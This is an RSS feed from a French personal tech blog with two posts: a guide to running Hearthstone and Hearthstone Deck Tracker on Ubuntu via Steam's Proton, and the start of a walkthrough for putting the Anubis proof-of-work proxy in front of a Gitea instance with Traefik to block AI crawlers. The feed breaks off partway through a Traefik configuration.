<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>Pofilo.fr</title>
        <link>https://www.pofilo.fr/</link>
        <description>Contenu récent sur  Pofilo.fr</description>
        <meta name="generator" content="Hugo 0.154.5"></meta>
        <language>fr-FR</language>
        <copyright>Tous droits réservés</copyright>
        
            <lastBuildDate>Tue, 20 Jan 2026 00:00:00 +0000</lastBuildDate>
        
        
            <atom:link href="https://www.pofilo.fr/index.xml" rel="self" type="application/rss+xml" />
        
        
            <item>
                <title>[Gaming] Faire tourner Hearthstone et Hearthstone Deck Tracker sur Ubuntu</title>
                <link>https://www.pofilo.fr/post/2026/01/20-hearthstone-deck-tracker-sur-ubuntu/</link>
                <pubDate>Tue, 20 Jan 2026 00:00:00 +0000</pubDate>
                
                    <author>Pofilo</author>
                
                <guid>https://www.pofilo.fr/post/2026/01/20-hearthstone-deck-tracker-sur-ubuntu/</guid>
                <description>&lt;p&gt;Bonjour à tous,&lt;/p&gt;
&lt;p&gt;Récemment, je me suis enfin motivé à passer de Windows 11 à Linux.&lt;/p&gt;
&lt;p&gt;Pourquoi quitter Windows 11 ?
J&amp;rsquo;aurai envie de dire comment y rester après tous les choix de Microsoft: mettre leur IA (Intelligence Artificielle) partout, sortir des versions avec toujours plus de bugs les unes que les autres.&lt;/p&gt;
&lt;p&gt;Bref, après des années de procrastination sur Windows sous prétexte de garder &lt;em&gt;&amp;ldquo;mon PC de jeu&amp;rdquo;&lt;/em&gt;, j&amp;rsquo;ai enfin migré.&lt;/p&gt;
&lt;p&gt;Tout d&amp;rsquo;abord, je possède un &lt;a href=&#34;https://www.steamdeck.com/fr/&#34;&gt;Steam Deck&lt;/a&gt;, la console portable faites par &lt;strong&gt;Valve&lt;/strong&gt;, ceux qui gèrent la &lt;strong&gt;plateforme de distribution de jeux en ligne&lt;/strong&gt; Steam.
Ce dernier fonctionne parfaitement et se trouve être sous Linux.
Ensuite, je n&amp;rsquo;ai plus vraiment le temps de jouer à part &lt;strong&gt;quelques parties de &lt;a href=&#34;https://fr.wikipedia.org/wiki/Hades_(jeu_vid%C3%A9o)&#34;&gt;Hadès&lt;/a&gt;&lt;/strong&gt; sur le Steam Deck justement mais aussi de &lt;strong&gt;Hearthstone&lt;/strong&gt;.
Donc plus vraiment de raisons de rester sous Windows.&lt;/p&gt;
&lt;p&gt;Par souci de simplicité, je me suis mis sur &lt;strong&gt;Ubuntu 24.04&lt;/strong&gt; pour avoir (ou tenter d&amp;rsquo;avoir) une expérience la plus simple avec ma carte graphique etc&amp;hellip;
Bref, dans cet article, on va parler de Steam, de Proton et surtout de Hearthstone dont j&amp;rsquo;avais fait &lt;a href=&#34;https://www.pofilo.fr/post/2016/05/14-presentation-hs/&#34;&gt;un article&lt;/a&gt; il y a déjà presque 10 ans (oui, j&amp;rsquo;y jouais déjà à sa sortie, ça date !).&lt;/p&gt;
&lt;h1 id=&#34;linux-steam-et-proton&#34;&gt;Linux, Steam et Proton&lt;/h1&gt;
&lt;h2 id=&#34;wine&#34;&gt;Wine&lt;/h2&gt;
&lt;p&gt;Depuis que le Steam Deck est sorti, on peut dire que &lt;strong&gt;l&amp;rsquo;expérience jeux-vidéo&lt;/strong&gt; s&amp;rsquo;est grandement améliorée sous Linux (surtout pour le grand public).&lt;/p&gt;
&lt;p&gt;En effet, &lt;a href=&#34;https://www.winehq.org/&#34;&gt;Wine&lt;/a&gt; existe depuis 1993.
Il s&amp;rsquo;agit d&amp;rsquo;un &lt;a href=&#34;https://gitlab.winehq.org/wine/wine&#34;&gt;logiciel libre&lt;/a&gt; dont l&amp;rsquo;acronyme est récursif et signifie &lt;code&gt;Wine Is Not an Emulator&lt;/code&gt;.
Il apporte une &lt;strong&gt;couche de compatibilité permettant d&amp;rsquo;exécuter des applications Windows sur des systèmes d&amp;rsquo;exploitation &lt;em&gt;POSIX&lt;/em&gt;&lt;/strong&gt;.
Ça n&amp;rsquo;est donc pas un émulateur dans le sens où Wine &lt;strong&gt;traduit à la volée les appels Windows&lt;/strong&gt; en appels POSIX.&lt;/p&gt;
&lt;h2 id=&#34;proton&#34;&gt;Proton&lt;/h2&gt;
&lt;p&gt;Quant à lui, &lt;a href=&#34;https://fr.wikipedia.org/wiki/Proton_(logiciel)&#34;&gt;Proton&lt;/a&gt; est un autre &lt;a href=&#34;https://github.com/ValveSoftware/Proton&#34;&gt;logiciel libre&lt;/a&gt; développé par &lt;a href=&#34;https://fr.wikipedia.org/wiki/Valve_Corporation&#34;&gt;Valve&lt;/a&gt; (les développeurs de Steam) depuis 2018.&lt;/p&gt;
&lt;p&gt;En réalité, Proton est un &lt;strong&gt;dérivé de Wine&lt;/strong&gt; (un &lt;strong&gt;fork&lt;/strong&gt; en anglais) et est &lt;strong&gt;totalement intégré à Steam&lt;/strong&gt; justement.
Valve rajoute la conversion de DirectX vers Vulkan mais aussi des &lt;strong&gt;correctifs spécifiques&lt;/strong&gt; pour des jeux précis ainsi que des &lt;em&gt;&lt;strong&gt;workarounds&lt;/strong&gt;&lt;/em&gt; (solution de contournement à un problème) temporaires ou non standards.
Le but de Proton étant que les jeux tournent bien et sans attendre des patchs pendant des mois.&lt;/p&gt;
&lt;p&gt;Ce sont ces derniers points qui font que Valve maintient Proton mais ne patche pas directement Wine dont la philosophie est de &lt;strong&gt;garder un comportement relativement fidèle à Windows et surtout de rester générique&lt;/strong&gt;.
Cela dit, Valve contribue tout de même énormément au code de Wine (sur tout ce qui peut être accepté là-bas finalement).&lt;/p&gt;
&lt;p&gt;Il existe aussi maintenant un fork communautaire de Proton appelé &lt;strong&gt;Proton GE&lt;/strong&gt; dont le but est de rajouter les correctifs de Proton directement dans Wine. Cela permet de bénéficier des améliorations des 2 côtés parfois plus rapidement que sur Proton directement.
Honnêtement, je n&amp;rsquo;ai pas testé ce fork, je préfère rester sur la solution fournie par Valve par souci de pérennité.&lt;/p&gt;
&lt;h2 id=&#34;protondb&#34;&gt;ProtonDB&lt;/h2&gt;
&lt;p&gt;Enfin, &lt;a href=&#34;https://www.protondb.com/&#34;&gt;ProtonDB&lt;/a&gt; est enfin un site communaire décrivant la &lt;strong&gt;compatibilité des jeux Steam avec Proton&lt;/strong&gt; en utilisant un système de badge allant de &lt;strong&gt;Injouable&lt;/strong&gt; à &lt;strong&gt;Platine&lt;/strong&gt;.
De la même façon, sur le Steam Deck, Valve rajoute également un badge &lt;strong&gt;Non supporté&lt;/strong&gt;, &lt;strong&gt;Jouable&lt;/strong&gt; ou &lt;strong&gt;Vérifié&lt;/strong&gt; qui permet de donner une idée relativement fiable de si le jeu tourne sans soucis ou pas.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est donc bien pratique pour éviter les jeux qui ne fonctionneraient pas bien.
Hearthstone n&amp;rsquo;étant pas un jeu Steam, il ne fait pas partie de ces listes mais tourne pourtant très bien.
Nous allons voir maintenant comment l&amp;rsquo;installer et le lancier via Proton.&lt;/p&gt;
&lt;h1 id=&#34;installations-et-lancement&#34;&gt;Installations et lancement&lt;/h1&gt;
&lt;p&gt;Dans les exemples ci-dessous, je prendrai les chemins par défaut, ils seront bien sûr à adapter si votre installation diffère (j&amp;rsquo;ai par exemple mon installation de Steam sur un autre disque).
De plus (et par habitude), mon installation de Steam est en français et le reste en anglais.&lt;/p&gt;
&lt;h2 id=&#34;installation-de-battlenet&#34;&gt;Installation de Battle.net&lt;/h2&gt;
&lt;p&gt;Ici, on commence par l&amp;rsquo;installation et la configuration du launcher &lt;code&gt;Battle.net&lt;/code&gt; depuis lequel on pourra installer Hearthstone.
Je considère que vous avez Steam installé (via les paquets officiels par exemple).&lt;/p&gt;
&lt;p&gt;Voici les étapes à suivre:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Télécharger &lt;a href=&#34;https://download.battle.net/fr-fr/&#34;&gt;l&amp;rsquo;application Battle.net&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Depuis Steam cliquer sur &lt;code&gt;Ajouter un jeu&lt;/code&gt; (tout en bas à gauche) puis &lt;code&gt;Ajouter un jeu non Steam...&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Rechercher ensuite le fichier &lt;code&gt;Battle.net-Setup.exe&lt;/code&gt; (celui téléchargé à la première étape):
&lt;ul&gt;
&lt;li&gt;Le launcher est maintenant présent dans notre bibliothèque Steam.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Faire un clic droit dessus, puis &lt;code&gt;Propriétés...&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Dans l&amp;rsquo;onglet &lt;code&gt;Compatibilité&lt;/code&gt;, choisir la version la plus récente de Proton (&lt;code&gt;10.0-3&lt;/code&gt; pour ma part).&lt;/li&gt;
&lt;li&gt;Lancer ensuite Battle.net et suivre le processus classique d&amp;rsquo;installation.&lt;/li&gt;
&lt;li&gt;Le raccourci dans Steam permet maintenant de lancer l&amp;rsquo;installeur de Battle.net, on veut récupérer le &lt;code&gt;.exe&lt;/code&gt; du launcher pour ne pas le réinstaller à chaque fois:
&lt;ul&gt;
&lt;li&gt;Réaliser la commande &lt;code&gt;find&lt;/code&gt; dans le dossier de Steam: &lt;code&gt;find ~/.local/share/Steam/ -name &#39;Battle.net Launcher.exe&#39;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Dans les propriétés de Battle.net &lt;em&gt;(voir étape 4)&lt;/em&gt;, aller dans l&amp;rsquo;onglet &lt;code&gt;Raccourci&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Dans le champ &lt;code&gt;CIBLE&lt;/code&gt;, mettre l&amp;rsquo;emplacement (entre guillemets) du launcher (exemple: &lt;code&gt;&amp;quot;~/.local/share/Steam/steamapps/compatdata/XXXXXXXX/pfx/drive_c/Program Files (x86)/Battle.net/Battle.net Launcher.exe&amp;quot;&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Le launcher peut maintenant être lancé et Hearthstone installé depuis ce dernier.&lt;/li&gt;
&lt;li&gt;Je vous conseille dans les paramètres de Battle.net de désactiver l&amp;rsquo;accélération matérielle. Autrement, le launcher peut parfois se retrouver bloqué sur un écran noir avec la méthode de lancement manuelle que nous verrons plus tard.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;installation-de-hearthstone-deck-tracker&#34;&gt;Installation de Hearthstone Deck Tracker&lt;/h2&gt;
&lt;p&gt;Maintenant, on enchaîne avec l&amp;rsquo;installation et la configuration de Hearthstone Deck Tracker.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Télécharger &lt;a href=&#34;https://github.com/HearthSim/Hearthstone-Deck-Tracker/releases&#34;&gt;la dernière version du tracker&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;L&amp;rsquo;extraire dans un &lt;strong&gt;endroit &amp;ldquo;pérenne&amp;rdquo;&lt;/strong&gt; (c&amp;rsquo;est le fichier &lt;code&gt;.exe&lt;/code&gt; qui sera lancé à chaque fois). D&amp;rsquo;ailleurs, je vous conseille de ne pas nommer le dossier avec la version du tracker pour pouvoir le mettre à jour simplement à l&amp;rsquo;avenir.&lt;/li&gt;
&lt;li&gt;Depuis Steam cliquer sur &lt;code&gt;Ajouter un jeu&lt;/code&gt; (tout en bas à gauche) puis &lt;code&gt;Ajouter un jeu non Steam...&lt;/code&gt; et sélectionner le fichier &lt;code&gt;Hearthstone Deck Tracker.exe&lt;/code&gt;.
&lt;ul&gt;
&lt;li&gt;Le tracker est maintenant présent dans notre bibliothèque Steam.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Faire un clic droit dessus, puis &lt;code&gt;Propriétés...&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Dans l&amp;rsquo;onglet &lt;code&gt;Raccourci&lt;/code&gt; puis le champ &lt;code&gt;OPTIONS DE LANCEMENT&lt;/code&gt;:
&lt;ul&gt;
&lt;li&gt;Retrouver le chemin du préfixe proton &lt;em&gt;(voir étape 7 lors de l&amp;rsquo;installation de Battle.net ci-dessus)&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Y adapter le chemin et mettre l&amp;rsquo;option: &lt;code&gt;STEAM_COMPAT_DATA_PATH=&amp;quot;~/.local/share/Steam/steamapps/compatdata/XXXXXXXX&amp;quot; %command%&lt;/code&gt;. Cela va permettre au tracker de tourner dans le &lt;strong&gt;même préfixe Proton que Hearthstone&lt;/strong&gt;, c&amp;rsquo;est nécessaire pour que le tracker puisse récupérer les logs de Hearthstone nécessaires à son bon fonctionnement.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Dans l&amp;rsquo;onglet &lt;code&gt;Compatibilité&lt;/code&gt;, choisir la même version de Proton que pour Battle.net &lt;em&gt;(voir étape 5 lors de l&amp;rsquo;installation de Battle.net ci-dessus)&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Dans le tracker, dans les Options puis &lt;code&gt;Overlay&lt;/code&gt; puis &lt;code&gt;General&lt;/code&gt;, je conseille de cocher la case &lt;code&gt;Show gameplay Overlay while Hearthstone is in the background&lt;/code&gt;. Autrement, il y a beaucoup de ralentissements à chaque changement de fenêtre.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;lancement-de-hearthstone-et-du-tracker&#34;&gt;Lancement de Hearthstone et du tracker&lt;/h2&gt;
&lt;p&gt;Si on veut tout lancer depuis Steam, il faut d&amp;rsquo;abord lancer le tracker.
Depuis ce dernier, il faut alors cliquer sur le bouton &lt;code&gt;Start Hearthstone&lt;/code&gt; (en haut à droite sur fond bleu).
Cependant, ce n&amp;rsquo;est pas la méthode que je préconise car Hearthstone souffre parfois de petites lenteurs.&lt;/p&gt;
&lt;p&gt;Comme il n&amp;rsquo;est pas possible depuis Steam de lancer les 2 séparément (c&amp;rsquo;est le tracker qui lance le jeu), on va donc se passer de Steam et les lancer via Proton en ligne de commande.
Voici ce que j&amp;rsquo;ai mis dans mon fichier &lt;code&gt;~/.bashrc&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;STEAM_CLIENT&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;~/.local/share/Steam&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;PROTON_PREFIX&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;~/.local/share/Steam/steamapps/compatdata/XXXXXXXX&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;BATTLE_NET_EXE&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;~/.local/share/Steam/steamapps/compatdata/XXXXXXXX/pfx/drive_c/Program Files (x86)/Battle.net/Battle.net Launcher.exe&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;HS_DECK_TRACKER_EXE&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;~/Games/Hearthstone-Deck-Tracker/Hearthstone Deck Tracker.exe&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;PROTON&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;~/steamapps/common/Proton 10.0/proton&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;alias&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;Battlenet&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;STEAM_COMPAT_CLIENT_INSTALL_PATH=&amp;#34;${STEAM_CLIENT}&amp;#34; STEAM_COMPAT_DATA_PATH=&amp;#34;${PROTON_PREFIX}&amp;#34; &amp;#34;${PROTON}&amp;#34; run &amp;#34;${BATTLE_NET_EXE}&amp;#34;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;alias&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;HearthstoneDeckTracker&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;STEAM_COMPAT_CLIENT_INSTALL_PATH=&amp;#34;${STEAM_CLIENT}&amp;#34; STEAM_COMPAT_DATA_PATH=&amp;#34;${PROTON_PREFIX}&amp;#34; &amp;#34;${PROTON}&amp;#34; run &amp;#34;${HS_DECK_TRACKER_EXE}&amp;#34;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Je peux donc lancer le launcher via l&amp;rsquo;alias &lt;code&gt;Battlenet&lt;/code&gt;.
On pourrait faire un alias vers le binaire de Hearthstone directement, mais en passant par le launcher, on peut lancer les éventuelles mises à jour du jeu.
Enfin, on peut lancer le tracker via &lt;code&gt;HearthstoneDeckTracker&lt;/code&gt;, une fois en partie, ce dernier affichera bien l&amp;rsquo;overlay avec notre deck et celui de notre adversaire (s&amp;rsquo;affichant au fur et à mesure qu&amp;rsquo;il soit révélé).&lt;/p&gt;
&lt;h1 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;Il serait également possible de faire tout cela sans Steam, avec des solutions telles que &lt;a href=&#34;https://lutris.net/&#34;&gt;Lutris&lt;/a&gt; par exemple.
Cependant, je n&amp;rsquo;ai jamais réussi à avoir l&amp;rsquo;overlay du tracker via Lutris, et Hearthstone tournait légèrement moins bien également.&lt;/p&gt;
&lt;p&gt;Bref, il existera plein d&amp;rsquo;autres façons, cet article a principalement pour but de montrer que c&amp;rsquo;est possible (et de me servir de mémo dans quelques mois/années).&lt;/p&gt;
</description>
                
                    <category>Gaming</category>
                
                    <category>Hearthstone</category>
                
            </item>
        
            <item>
                <title>[Anubis] Utiliser la preuve de travail pour bloquer les robots</title>
                <link>https://www.pofilo.fr/post/2025/04/14-mise-en-place-anubis/</link>
                <pubDate>Mon, 14 Apr 2025 00:00:00 +0000</pubDate>
                
                    <author>Pofilo</author>
                
                <guid>https://www.pofilo.fr/post/2025/04/14-mise-en-place-anubis/</guid>
                <description>&lt;p&gt;Bonjour à tous,&lt;/p&gt;
&lt;p&gt;Le &lt;a href=&#34;https://www.pofilo.fr/post/2025/03/19-bloquer-pays/&#34;&gt;mois dernier&lt;/a&gt;, je vous parlais de mon problème lié aux crawlers d&amp;rsquo;IA en &lt;strong&gt;bloquant l&amp;rsquo;accès à mon serveur à des pays entiers&lt;/strong&gt;.
Aujourd&amp;rsquo;hui, je vais vous montrer comment j&amp;rsquo;ai mis en place Anubis avec Traefik pour réussir à ne bloquer (que ?) les crawlers et les bots.&lt;/p&gt;
&lt;h1 id=&#34;contexte&#34;&gt;Contexte&lt;/h1&gt;
&lt;p&gt;Mon instance &lt;a href=&#34;https://git.pofilo.fr/&#34;&gt;Gitea&lt;/a&gt;, comme toutes les forges logicielles publiques, se fait tabasser par les robots scannant ce genre d&amp;rsquo;outils pour &amp;ldquo;améliorer/nourrir&amp;rdquo; des IA.
Dans un monde idéal (et j&amp;rsquo;en parlais dans mon dernier article), le fichier &lt;code&gt;robots.txt&lt;/code&gt; est respecté et aucun abus n&amp;rsquo;a lieu, fin de l&amp;rsquo;histoire.
Sauf que dans le monde de l&amp;rsquo;IA, on se fout des règles, on se fout de tout.
Il suffit de voir &lt;a href=&#34;https://futurism.com/openai-over-copyrighted-work&#34;&gt;ce genre d&amp;rsquo;article&lt;/a&gt; dont le titre est littéralement:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;OpenAI dit que c&amp;rsquo;est fini s&amp;rsquo;ils ne peuvent pas voler les contenus Copyrightés&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Donc on ne respecte pas ce fichier, et on tabasse tout le monde pour faire la course à qui a la plus grosse (IA).&lt;/p&gt;
&lt;p&gt;Le mois dernier, j&amp;rsquo;avais donc montré comment j&amp;rsquo;avais du en arriver à bloquer des pays entiers au niveau pare-feu.
La solution ne me plaisait pas car elle exclue également tous les utilisateurs légitimes de ces pays.
Aussi, ça voudrait aussi dire que les entreprises scannant illégitimement le web auraient gagné.&lt;/p&gt;
&lt;p&gt;De plus, chaque jour, le spam venait de nouveaux pays au point où je n&amp;rsquo;avais whitelisté que la France.
&lt;strong&gt;J&amp;rsquo;en étais arrivé au point où j&amp;rsquo;avais totalement coupé mon instance Gitea&lt;/strong&gt;, et je la démarrai juste quand j&amp;rsquo;avais besoin de commit un truc &amp;hellip;&lt;/p&gt;
&lt;p&gt;Mais ça, c&amp;rsquo;était en attendant une solution plus pérenne que j&amp;rsquo;ai pu mettre en place la semaine dernière.&lt;/p&gt;
&lt;h1 id=&#34;présentation-danubis&#34;&gt;Présentation d&amp;rsquo;Anubis&lt;/h1&gt;
&lt;p&gt;Anubis est &lt;a href=&#34;https://xeiaso.net/blog/2025/anubis/&#34;&gt;le fruit de l&amp;rsquo;exaspération de Xe Iaso&lt;/a&gt; par ces crawlers d&amp;rsquo;IA qui ne respectent rien.
Le code source est &lt;a href=&#34;https://github.com/TecharoHQ/anubis&#34;&gt;disponible ici&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Il s&amp;rsquo;agit un &lt;strong&gt;reverse-proxy&lt;/strong&gt; écrit en Go qui exige la &lt;strong&gt;résolution d&amp;rsquo;un défi de &lt;em&gt;preuve de travail&lt;/em&gt;&lt;/strong&gt; (&lt;a href=&#34;https://en.wikipedia.org/wiki/Proof_of_work&#34;&gt;Proof of work en anglais&lt;/a&gt;).
Si le défi est réussi, alors l&amp;rsquo;accès au service est autorisé et un cookie est déposé pour autoriser directement les prochaines requêtes.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;outil est encore très jeune, mais déjà utilisé pour protéger des sites de l&amp;rsquo;&lt;a href=&#34;https://policytoolbox.iiep.unesco.org/&#34;&gt;UNESCO&lt;/a&gt;, le &lt;a href=&#34;https://git.kernel.org/&#34;&gt;dépôt Git de kernel.org&lt;/a&gt;, le &lt;a href=&#34;https://gitlab.gnome.org/GNOME&#34;&gt;Gitlab de GNOME&lt;/a&gt;, etc&amp;hellip;&lt;/p&gt;
&lt;h1 id=&#34;mise-en-place-avec-traefik&#34;&gt;Mise en place avec Traefik&lt;/h1&gt;
&lt;p&gt;Tout d&amp;rsquo;abord, voici comment ça va marcher:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Traefik reçoit une requête à destination de &lt;code&gt;git.pofilo.fr&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Il la transmet au service Anubis.&lt;/li&gt;
&lt;li&gt;Anubis s&amp;rsquo;assure que l&amp;rsquo;&lt;strong&gt;émetteur de la requête est autorisé&lt;/strong&gt; (via la preuve de travail ou le cookie).&lt;/li&gt;
&lt;li&gt;Si c&amp;rsquo;est le cas, il la &lt;strong&gt;transmet à Gitea via un entrypoint dédié&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;ajout-de-lentrypoint&#34;&gt;Ajout de l&amp;rsquo;entrypoint&lt;/h2&gt;
&lt;p&gt;Il s&amp;rsquo;agit d&amp;rsquo;un entrypoint local à ne pas exposer sur le réseau public, c&amp;rsquo;est lui que l&amp;rsquo;instance Gitea va désormais écouter.&lt;/p&gt;
&lt;p&gt;Dans ma conf statique de Traefik, j&amp;rsquo;ai donc:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;entryPoints&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;  &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;web&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;address&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;80&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;http&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;redirections&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;        &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;entryPoint&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;          &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;to&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;l&#34;&gt;websecure&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;          &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;scheme&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;l&#34;&gt;https&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
